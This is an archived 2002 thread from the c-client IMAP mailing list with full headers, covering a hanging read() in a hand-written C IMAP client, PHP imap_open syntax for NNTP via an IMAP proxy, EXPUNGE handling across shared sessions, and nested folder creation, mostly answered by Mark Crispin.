[210.8.232.4] by www20.ureach.com via HTTP; Thu, 03 Oct 2002 04:59:26 GMT Message-Id: <200210030459.AAA21172@www20.ureach.com> Date: Thu, 3 Oct 2002 00:59:26 -0400 Reply-To: Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Fouad Kassab To: "Mark Crispin" Cc: c-client@u.washington.edu Subject: re: Bad address Mime-Version: 1.0 Content-Type: Text/Plain; charset=iso-8859-1 Content-Transfer-Encoding: 7bit X-vsuite-type: e X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello mark. thank you for your reply. i have actually asked this question in a C forum, and was told (rudely!) i should ask these questions in a more appropriate forum... hmm.. sorry if i am a bit lost. but anyways i really appreciate it that you had the decency to help out. i hope you do not mind if i ask you another question. i have changed my code to be able to read the first message from the server. then i send my message to the server. when i try to read the server's reply, using read(), the program hangs forever. The new code is below and the faulty read() is way below and is commented. If there is a more suitable place to post these messages in the future, please advise me of the whereabouts. thanx again. Fouad #include #include #include #include #include #include #include #define closesocket close #define PROTOPORT 143 /* default protocol port number */ extern int errno; char localhost[] = "localhost"; /* default host name */ main(int argc, char *argv[]) { struct hostent *ptrh; /* pointer to a host table entry */ struct protoent *ptrp; /* point to a protocol table entry */ struct sockaddr_in sad; /* structure to hold server's address */ int sd; /* socket descriptor */ int port; /* protocol port number */ char *host; /* pointer to host name */ int n; /* number of characters read */ char buf[1000]; /* buffer for data from the server */ char *pp = " "; char b2[48]; memset((char *)&sad,0,sizeof(sad)); /* clear sockaddr structure */ sad.sin_family = AF_INET; /* set family to Internet */ /* Check command-line argument for protocol port and extract */ /* port number if on is specified. Otherwise, use the default */ /* port value biven by constant PROTOPORT */ if (argc > 2) port = atoi(argv[2]); else port = PROTOPORT; if (port > 0) sad.sin_port = htons((u_short)port); else { fprintf( stderr,"bad port number %s\n", argv[2]); exit(1); } if (argc > 1 ) host = argv[1]; else host = localhost; ptrh = gethostbyname(host); if( ((char *)ptrh) == NULL) { fprintf( stderr, "invalid host: %s\n", host); exit(1); } memcpy(&sad.sin_addr, ptrh->h_addr, ptrh->h_length); if ( ((int)(ptrp = getprotobyname("tcp"))) == 0) { fprintf( stderr, "cannot map \"tcp\" to protocol number\n"); exit(1); } sd = socket(PF_INET, SOCK_STREAM, ptrp->p_proto); if (sd < 0) { fprintf( stderr, "socket creation failed\n"); exit(1); } if (connect(sd, (struct sockaddr *)&sad, sizeof(sad)) < 0) { fprintf( stderr, "connect failed\n"); exit(1); } n = read(sd, buf, sizeof(buf), 0); fprintf( stderr, "SERVER: %s", buf); while(n > 0) { //scanf("%s", &pp); // fprintf(stderr, "Sending %s.", pp); n = write (sd, "log login fouad@aineldelb.com sadf", 28); if (n < 0) { perror("While calling write()"); } printf("\nWaiting to read\n"); // the read that hangs forever. n = read(sd, buf, sizeof(buf), 0); printf("N is %d", n); fprintf( stderr, "SERVER: %s\n", buf); n = 1; } printf("Closing and exiting!\n"); closesocket(sd); exit(0); } ________________________________________________ Get your own "800" number Voicemail, fax, email, and a lot more http://www.ureach.com/reg/tag From pinedev@shivax2.cac.washington.edu Thu Oct 3 13:48:20 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 3 Oct 2002 13:48:19 -0700 (PDT) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g93KmJMb018770 for ; Thu, 3 Oct 2002 13:48:19 -0700 Received: FROM mx1.cac.washington.edu BY mailscan3.cac.washington.edu ; Thu Oct 03 13:48:18 2002 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g93KmGCM023289 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 3 Oct 2002 13:48:18 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id g93KlsxQ016816; Thu, 3 Oct 2002 13:47:54 -0700 Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id g93KfRFD004810 for ; Thu, 3 Oct 2002 13:41:27 -0700 Received: FROM mxu3.u.washington.edu BY mailscan2.cac.washington.edu ; Thu Oct 03 13:41:26 2002 -0700 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id g93KfQMG025973 for ; Thu, 3 Oct 2002 13:41:26 -0700 Received: FROM mx1.cac.washington.edu BY mailscan3.cac.washington.edu ; Thu Oct 03 13:41:25 2002 -0700 Received: from postfix3-1.free.fr (postfix3-1.free.fr [213.228.0.44]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g93KfOCL023048 for ; Thu, 3 Oct 2002 13:41:25 -0700 Received: from graf.pompo.net (lyon-2-a7-62-147-23-201.dial.proxad.net [62.147.23.201]) by postfix3-1.free.fr (Postfix) with ESMTP id BC910DA01A for ; Thu, 3 Oct 2002 22:41:16 +0200 (MEST) Received: by graf.pompo.net (Postfix, from userid 1001) id C86C17519; Thu, 3 Oct 2002 22:40:46 +0200 (CEST) Message-Id: <20021003204046.GA42864@graf.pompo.net> Date: Thu, 3 Oct 2002 22:40:46 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Thierry Thomas To: c-client Interest List Subject: PHP, imap_open, NNTP and Auth Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline X-Operating-System: FreeBSD 4.7-RC i386 X-Face: (hRbQnK~Pt7$ct`!fupO(`y_WL4^-Iwn4@ly-.,[4xC4xc;y=\ipKMNm<1J>lv@PP~7Z<.t KjAnXLs: X-PGP: 0xC71405A2 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello, I am using imap_open (from PHP4) to get Usenet post from an NNTP server, and it runs fine with this imap_open: imap_open("{localhost:143/imap/notls}{localhost:119/nntp}group", "imapuser", "imappass", OP_HALFOPEN) But I cannot find the good syntax to connect to an NNTP server if an authentication is needed. The following command: imap_open("{localhost:143/imap/notls}{nntpuser:nntppass@localhost:119/nntp}group", "imapuser", "imappass", OP_HALFOPEN) seems correct and return a resource, but with this resource imap_getmailboxes does not find anything. How could I pass nntpuser and nntppass? Regards, -- Th. Thomas. -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Oct 3 14:35:48 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 3 Oct 2002 14:35:48 -0700 (PDT) Return-Path: Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g93LZmMb020953 for ; Thu, 3 Oct 2002 14:35:48 -0700 Received: FROM mx1.cac.washington.edu BY mailscan1.cac.washington.edu ; Thu Oct 03 14:35:47 2002 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g93LZlCM025186 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 3 Oct 2002 14:35:47 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id g93LZ7pB033550; Thu, 3 Oct 2002 14:35:07 -0700 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id g93LW4FD019028 for ; Thu, 3 Oct 2002 14:32:04 -0700 Received: FROM mxu4.u.washington.edu BY mailscan1.cac.washington.edu ; Thu Oct 03 14:32:03 2002 -0700 Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id g93LW3Ir017171 for ; Thu, 3 Oct 2002 14:32:03 -0700 Received: FROM mx2.cac.washington.edu BY mailscan4.cac.washington.edu ; Thu Oct 03 14:32:02 2002 -0700 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.19]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g93LW2a4020279 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 3 Oct 2002 14:32:02 -0700 Received: from mailscan-out3.cac.washington.edu (mailscan-out3.cac.washington.edu [140.142.32.18]) by mxout3.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id g93LW17J020742 for ; Thu, 3 Oct 2002 14:32:01 -0700 Received: FROM smtp.washington.edu BY mailscan-out3.cac.washington.edu ; Thu Oct 03 14:31:59 2002 -0700 Received: from Shimo-Tomobiki.Panda.COM (mes128085095.airdata.net [166.128.85.95]) (authenticated bits=0) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with ESMTP id g93LVhql027590 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Thu, 3 Oct 2002 14:31:51 -0700 Message-Id: Date: Thu, 3 Oct 2002 14:31:32 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Thierry Thomas Cc: c-client Interest List Subject: Re: PHP, imap_open, NNTP and Auth In-Reply-To: <20021003204046.GA42864@graf.pompo.net> References: <20021003204046.GA42864@graf.pompo.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I do not have anything to do with PHP, but I hope that "imap_open" is some sort of PHP operation and *NOT* a call to the c-client imap_open() function which is strictly internal to c-client. > I am using imap_open (from PHP4) to get Usenet post from an NNTP server, > and it runs fine with this imap_open: > imap_open("{localhost:143/imap/notls}{localhost:119/nntp}group", > "imapuser", "imappass", OP_HALFOPEN) This strongly suggests that this imap_open is not the same as the c-client imap_open() function. Anyway, it looks like the first argument is a c-client mailbox name. If so, you are stipulating a proxy open via IMAP. Is there some reason why you are doing this, instead of a direct NNTP session? That is, why aren't you using {localhost/nntp}group Anyway, because you are using OP_HALFOPEN, you are just opening an IMAP connection without ever doing anything with NNTP. Is there some reason why you are specifying the port number? c-client knows the correct port number to you. > But I cannot find the good syntax to connect to an NNTP server if an > authentication is needed. > The following command: > imap_open("{localhost:143/imap/notls}{nntpuser:nntppass@localhost:119/nntp}group", > "imapuser", "imappass", OP_HALFOPEN) > seems correct and return a resource, but with this resource > imap_getmailboxes does not find anything. Once again, this is only getting you an open IMAP session not open on any mailbox, because you are using OP_HALFOPEN. If you want to specify a user name, the syntax is /user=, as in: {localhost/nntp/user=nntpuser}group There is no way to pass a separate NNTP password if you insist upon using a separate proxy via IMAP. Furthermore, note that the use of an IMAP proxy is a UW imapd (c-client imapd) feature, and is not likely to be offered on any other IMAP server. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Thu Oct 3 15:51:50 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 3 Oct 2002 15:51:50 -0700 (PDT) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g93MpoMb024319 for ; Thu, 3 Oct 2002 15:51:50 -0700 Received: FROM mx2.cac.washington.edu BY mailscan3.cac.washington.edu ; Thu Oct 03 15:51:49 2002 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g93Mpma4023253 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 3 Oct 2002 15:51:49 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id g93MoWqE041458; Thu, 3 Oct 2002 15:50:32 -0700 Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id g93MlTFD097530 for ; Thu, 3 Oct 2002 15:47:30 -0700 Received: FROM mxu2.u.washington.edu BY mailscan4.cac.washington.edu ; Thu Oct 03 15:47:28 2002 -0700 Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id g93MlSnf016945 for ; Thu, 3 Oct 2002 15:47:28 -0700 Received: FROM mx2.cac.washington.edu BY mailscan4.cac.washington.edu ; Thu Oct 03 15:47:28 2002 -0700 Received: from postfix4-1.free.fr (postfix4-1.free.fr [213.228.0.62]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g93MlSa3023074 for ; Thu, 3 Oct 2002 15:47:28 -0700 Received: from graf.pompo.net (lyon-1-a7-62-147-19-144.dial.proxad.net [62.147.19.144]) by postfix4-1.free.fr (Postfix) with ESMTP id BF22058F7 for ; Fri, 4 Oct 2002 00:47:25 +0200 (CEST) Received: by graf.pompo.net (Postfix, from userid 1001) id CC5E67519; Fri, 4 Oct 2002 00:46:57 +0200 (CEST) Message-Id: <20021003224657.GA43583@graf.pompo.net> Date: Fri, 4 Oct 2002 00:46:57 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Thierry Thomas To: c-client Interest List Subject: Re: PHP, imap_open, NNTP and Auth In-Reply-To: References: <20021003204046.GA42864@graf.pompo.net> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: 8bit X-Operating-System: FreeBSD 4.7-RC i386 X-Face: (hRbQnK~Pt7$ct`!fupO(`y_WL4^-Iwn4@ly-.,[4xC4xc;y=\ipKMNm<1J>lv@PP~7Z<.t KjAnXLs: X-PGP: 0xC71405A2 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Le 03/10/2002 à 23:31:32 +0200, Mark Crispin écrivait : > This strongly suggests that this imap_open is not the same as the c-client > imap_open() function. Anyway, it looks like the first argument is a > c-client mailbox name. If so, you are stipulating a proxy open via IMAP. > Is there some reason why you are doing this, instead of a direct NNTP > session? That is, why aren't you using > {localhost/nntp}group This way, c-client handles a .newsrc file. Without imap proxying, it does not. > Anyway, because you are using OP_HALFOPEN, you are just opening an IMAP > connection without ever doing anything with NNTP. I'm using imap_getmailboxes / imap_getsubscribed, imap_headerinfo, imap_fetchbody (all PHP functions), etc. for a web-based newsreader, and OP_HALFOPEN is working. > Is there some reason why you are specifying the port number? c-client > knows the correct port number to you. Yes, but actually these are parameters... > Once again, this is only getting you an open IMAP session not open on any > mailbox, because you are using OP_HALFOPEN. > > If you want to specify a user name, the syntax is /user=, as in: > {localhost/nntp/user=nntpuser}group OK. > There is no way to pass a separate NNTP password if you insist upon using > a separate proxy via IMAP. I had tried with /authuser=nntppass without success! That's a problem for me. > Furthermore, note that the use of an IMAP proxy is a UW imapd (c-client > imapd) feature, and is not likely to be offered on any other IMAP server. Thanks for your answers. -- Th. Thomas. From pinedev@shivax2.cac.washington.edu Mon Oct 7 00:57:57 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 7 Oct 2002 00:57:57 -0700 (PDT) Return-Path: Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g977vvMb018775 for ; Mon, 7 Oct 2002 00:57:57 -0700 Received: FROM mx2.cac.washington.edu BY mailscan1.cac.washington.edu ; Mon Oct 07 00:57:55 2002 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g977vsa4024232 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 7 Oct 2002 00:57:55 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id g977v56i017250; Mon, 7 Oct 2002 00:57:06 -0700 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id g977o0FD078552 for ; Mon, 7 Oct 2002 00:50:00 -0700 Received: FROM mxu2.u.washington.edu BY mailscan1.cac.washington.edu ; Mon Oct 07 00:49:59 2002 -0700 Received: from mid-2.inet.it (mid-2.inet.it [213.92.5.19]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g977nwnf016077 for ; Mon, 7 Oct 2002 00:49:59 -0700 Received: from [::ffff:213.92.1.153] by mid-2.inet.it via I-SMTP-4.2.3-422 id 013+bAr9tnG95; Mon, 07 Oct 2002 09:49:57 +0200 Message-Id: <3DA13CA4.DBF36542@inet.it> Date: Mon, 07 Oct 2002 09:49:56 +0200 Reply-To: m.gelosa@inet.it Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Matteo Gelosa To: c-client@u.washington.edu Subject: Expunge responses with multiple connection MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Sender: matteo@u.washington.edu X-Accept-Language: en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi all, I have a question about synchronization between session cached message list on the currently open mailbox and disk message list. I have wrote a driver implementation that uses a database in place of canonical unix file system to store message headers and file references. The problem arises when I have more than one open session on the same mailbox. Suppose we have client A and B. A: logs-in and selects INBOX with 10 messages B: does the same A: set deleted flag on 1 message (sequence number) and expunge B: fetch message 1 body (FETCH 1 ...) before the end of fetch, the _parse routine is called and (my own implementation) re-builds the internal message list with one less message. no expunge responses are sent back, but exists and recent messages are replied with the new number of messages. B: fetch (again) message 1 body (FETCH 1 ...) the body is now different. The question is: must the internal message list be re-built only within command different from FETCH, STORE and SEARCH so that sequence numbers still remain correct? If yes what should I do with the hole in message list at sequence number 1? How and when the server has to communicate to the client that somebody else has removed one or more messages? Any suggestion? Thanks in advance, Matteo Gelosa PS I have read the standard an looked at the unix.c implementation, but I still have some doubts... -- Matteo Gelosa I.NET S.p.A. Research & Development Via Darwin, 85 - 20019 Settimo Milanese MI mailto:m.gelosa@inet.it Tel. +39.02.32863.1 http://www.inet.it Fax +39.02.32863.7701 -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Oct 7 08:15:19 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 7 Oct 2002 08:15:19 -0700 (PDT) Return-Path: Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g97FFJMb029728 for ; Mon, 7 Oct 2002 08:15:19 -0700 Received: FROM mx1.cac.washington.edu BY mailscan1.cac.washington.edu ; Mon Oct 07 08:15:17 2002 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g97FFFCM005342 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 7 Oct 2002 08:15:17 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id g97FELpB024494; Mon, 7 Oct 2002 08:14:21 -0700 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id g97FBMFD033728 for ; Mon, 7 Oct 2002 08:11:22 -0700 Received: FROM mxu3.u.washington.edu BY mailscan3.cac.washington.edu ; Mon Oct 07 08:11:21 2002 -0700 Received: from Ikkoku-Kan.Panda.COM (panda.com [206.124.149.114]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g97FBKMG009394 for ; Mon, 7 Oct 2002 08:11:20 -0700 Received: from Ikkoku-Kan.Panda.COM (Ikkoku-Kan.Panda.COM [192.107.14.50]) by Ikkoku-Kan.Panda.COM id IAA10381; Mon, 7 Oct 2002 08:11:11 -0700 (PDT) Message-Id: Date: Mon, 7 Oct 2002 08:05:33 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: m.gelosa@inet.it Cc: c-client@u.washington.edu Subject: re: Expunge responses with multiple connection In-Reply-To: <3DA13CA4.DBF36542@inet.it> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Until the server sends the untagged EXPUNGE, the message is NOT expunged in that session. Consequently, the server MUST NOT send an untagged EXISTS response which reflects the action of an expunge before sending the untagged EXPUNGE, and the server MUST respond to a FETCH of that message with the data for that message. This is an absolute requirement of the IMAP protocol specification. As you noted, this could result in a "hole", in which a message has been expunged but you can't announce it to the client yet, and the client might try to fetch a message in the "hole". Ideally, you should keep a "ghost" of the expunged message in each session that is in this situation, and use the ghost to supply data to respond to any fetch. This is what most clients will expect. RFC 2180 suggests some other strategies, but they do not work as well. The unix.c driver does not allow shared access, so the issue does not come up. Look at how mbx.c works instead. From pinedev@shivax2.cac.washington.edu Tue Oct 8 10:59:59 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 8 Oct 2002 10:59:59 -0700 (PDT) Return-Path: Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g98HxxMb017618 for ; Tue, 8 Oct 2002 10:59:59 -0700 Received: FROM mx2.cac.washington.edu BY mailscan2.cac.washington.edu ; Tue Oct 08 10:59:58 2002 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g98Hxwa4013450 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 8 Oct 2002 10:59:58 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id g98HxFxQ015438; Tue, 8 Oct 2002 10:59:15 -0700 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id g98HtrFD113218 for ; Tue, 8 Oct 2002 10:55:53 -0700 Received: FROM mxu4.u.washington.edu BY mailscan6.cac.washington.edu ; Tue Oct 08 10:55:52 2002 -0700 Received: from hotmail.com (f16.law3.hotmail.com [209.185.241.16]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g98HtqIr020049 for ; Tue, 8 Oct 2002 10:55:52 -0700 Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Tue, 8 Oct 2002 10:55:51 -0700 Received: from 128.2.77.75 by lw3fd.law3.hotmail.msn.com with HTTP; Tue, 08 Oct 2002 17:55:51 GMT Message-Id: Date: Tue, 08 Oct 2002 13:55:51 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Dave Anderson" To: c-client@u.washington.edu Subject: Creating folders within folders Mime-Version: 1.0 Content-Type: text/plain; format=flowed X-Originating-IP: [128.2.77.75] X-OriginalArrivalTime: 08 Oct 2002 17:55:51.0912 (UTC) FILETIME=[F0FE9680:01C26EF3] X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I have installed the Red Hat 7.3 postfix and imapd RPMs. I have everything setup and pretty much working. The one problem I run into is trying to create subdirectories in folders. I can not create any folders under my Inbox. I can create folders outside of my Inbox, but in those folders, I can not create subdirectories either. What do I have to do to enable subdirectories within folders? I can not seem to find any documentation on this problem. _________________________________________________________________ Chat with friends online, try MSN Messenger: http://messenger.msn.com -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Oct 8 11:13:03 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 8 Oct 2002 11:13:03 -0700 (PDT) Return-Path: Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g98ID3Mb018319 for ; Tue, 8 Oct 2002 11:13:03 -0700 Received: FROM mx1.cac.washington.edu BY mailscan6.cac.washington.edu ; Tue Oct 08 11:13:02 2002 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g98ID1CM018808 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 8 Oct 2002 11:13:02 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id g98ICP6i083710; Tue, 8 Oct 2002 11:12:25 -0700 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id g98I9gFD119906 for ; Tue, 8 Oct 2002 11:09:42 -0700 Received: FROM mxu4.u.washington.edu BY mailscan1.cac.washington.edu ; Tue Oct 08 11:09:41 2002 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g98I9fIs025143 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 8 Oct 2002 11:09:41 -0700 Received: from mailscan-out2.cac.washington.edu (mailscan-out2.cac.washington.edu [140.142.33.17]) by mxout2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id g98I9fOZ014960 for ; Tue, 8 Oct 2002 11:09:41 -0700 Received: FROM smtp.washington.edu BY mailscan-out2.cac.washington.edu ; Tue Oct 08 11:09:40 2002 -0700 Received: from Shimo-Tomobiki.Panda.COM (D-140-142-21-97.dhcp4.washington.edu [140.142.21.97]) (authenticated bits=0) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with ESMTP id g98I9dql020145 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 8 Oct 2002 11:09:40 -0700 Message-Id: Date: Tue, 8 Oct 2002 11:09:39 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Dave Anderson Cc: c-client@u.washington.edu Subject: Re: Creating folders within folders In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 8 Oct 2002, Dave Anderson wrote: > I have installed the Red Hat 7.3 postfix and imapd RPMs. I have everything > setup and pretty much working. The one problem I run into is trying to > create subdirectories in folders. I can not create any folders under my > Inbox. I can create folders outside of my Inbox, but in those folders, I can > not create subdirectories either. What do I have to do to enable > subdirectories within folders? I can not seem to find any documentation on > this problem. Did you read the FAQ that is included with the IMAP toolkit? If it was not included in your RPM, you can find it on the web at: http://www.washington.edu/imap/IMAP-FAQs/index.html The short answer to your question is that in the default UNIX mailbox format, a name is a "mailbox file" containing messages or a "directory" that contains files, but can not be both. You can create directories (as opposed to files) by appending "/" to the name, or simply by creating a file under the name. For example, if you create mailbox "foo/bar" then the directory "foo" will also be created if it does not already exist. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From 